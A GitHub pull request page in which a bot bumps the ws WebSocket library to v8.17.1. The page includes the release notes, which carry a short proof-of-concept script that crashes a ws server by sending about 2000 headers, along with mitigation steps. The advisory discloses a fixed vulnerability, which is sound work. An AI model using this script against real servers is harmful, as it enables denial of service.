Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): update dependency ws to v8.17.1 - autoclosed #480

Closed
wants to merge 1 commit into from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Nov 7, 2023

Mend Renovate

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
ws 8.14.2 -> 8.17.1 age adoption passing confidence

Release Notes

websockets/ws (ws)

v8.17.1

Compare Source

Bug fixes

A request with a number of headers exceeding the[server.maxHeadersCount][server.maxHeadersCount]
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();

const wss = new WebSocket.Server({ server });

server.listen(function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: server.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    [--max-http-header-size=size][--max-http-header-size=size] and/or the [maxHeaderSize][maxHeaderSize] options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

  • The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

  • The default value of the allowSynchronousEvents option has been changed to
    true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

v8.16.0

Compare Source

Features

  • Added the autoPong option (01ba54e).

v8.15.1

Compare Source

Notable changes

  • The allowMultipleEventsPerMicrotask option has been renamed to
    allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

v8.15.0

Compare Source

Features

  • Added the allowMultipleEventsPerMicrotask option (93e3552).

Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate. View repository job log here.

Copy link

vercel bot commented Nov 7, 2023

The latest updates on your projects. Learn more about Vercel for Git ↗︎

Name Status Preview Updated (UTC)
vercel-storage-next-integration-test-suite ✅ Ready (Inspect) Visit Preview Jun 16, 2024 3:18pm

Copy link

changeset-bot bot commented Nov 7, 2023

⚠️ No Changeset found

Latest commit: 376c86f

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate renovate bot force-pushed the renovate/ws-8.x branch from 2c5957f to 22b25c1 Compare November 8, 2023 09:23
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 22b25c1 to 07d311d Compare November 8, 2023 10:45
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 07d311d to d58bfc7 Compare November 8, 2023 14:16
@renovate renovate bot force-pushed the renovate/ws-8.x branch from d58bfc7 to 118eee6 Compare November 8, 2023 14:53
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 118eee6 to 41f5e86 Compare November 14, 2023 15:00
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 41f5e86 to 764c5de Compare November 14, 2023 15:23
@renovate renovate bot changed the title chore(deps): update dependency @types/ws to v8.5.9 chore(deps): update dependency @types/ws to v8.5.10 Nov 21, 2023
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 764c5de to aad0bca Compare November 21, 2023 03:11
@renovate renovate bot force-pushed the renovate/ws-8.x branch from aad0bca to 170482a Compare November 27, 2023 12:31
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 170482a to 8ba2367 Compare November 29, 2023 07:33
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 8ba2367 to 2b301f5 Compare November 29, 2023 12:06
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 2b301f5 to fae36a3 Compare December 7, 2023 08:56
@renovate renovate bot changed the title chore(deps): update dependency @types/ws to v8.5.10 chore(deps): update dependency @types/ws to v8.5.10 - autoclosed Dec 8, 2023
@renovate renovate bot closed this Dec 8, 2023
@renovate renovate bot deleted the renovate/ws-8.x branch December 8, 2023 08:53
@renovate renovate bot restored the renovate/ws-8.x branch December 9, 2023 18:23
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 52d85b4 to 9c06abe Compare April 18, 2024 15:56
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 9c06abe to 9972128 Compare April 18, 2024 16:01
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 9972128 to e1e8d50 Compare April 25, 2024 13:34
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.16.0 fix(deps): update dependency ws to v8.17.0 Apr 28, 2024
@renovate renovate bot force-pushed the renovate/ws-8.x branch from e1e8d50 to c706013 Compare April 28, 2024 07:18
@renovate renovate bot force-pushed the renovate/ws-8.x branch from c706013 to 324f923 Compare May 17, 2024 11:33
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 324f923 to de15a97 Compare May 21, 2024 14:23
@renovate renovate bot force-pushed the renovate/ws-8.x branch from de15a97 to c90c9f9 Compare May 21, 2024 15:11
@renovate renovate bot force-pushed the renovate/ws-8.x branch from c90c9f9 to 317e472 Compare May 27, 2024 14:56
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 317e472 to b9825cf Compare May 27, 2024 15:22
@renovate renovate bot force-pushed the renovate/ws-8.x branch from b9825cf to 4d88cb7 Compare June 12, 2024 13:51
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 4d88cb7 to 93111ba Compare June 12, 2024 14:15
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 93111ba to 376c86f Compare June 16, 2024 15:17
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.0 fix(deps): update dependency ws to v8.17.1 Jun 16, 2024
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 fix(deps): update dependency ws to v8.17.1 - autoclosed Jun 18, 2024
@renovate renovate bot closed this Jun 18, 2024
@renovate renovate bot deleted the renovate/ws-8.x branch June 18, 2024 20:28
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants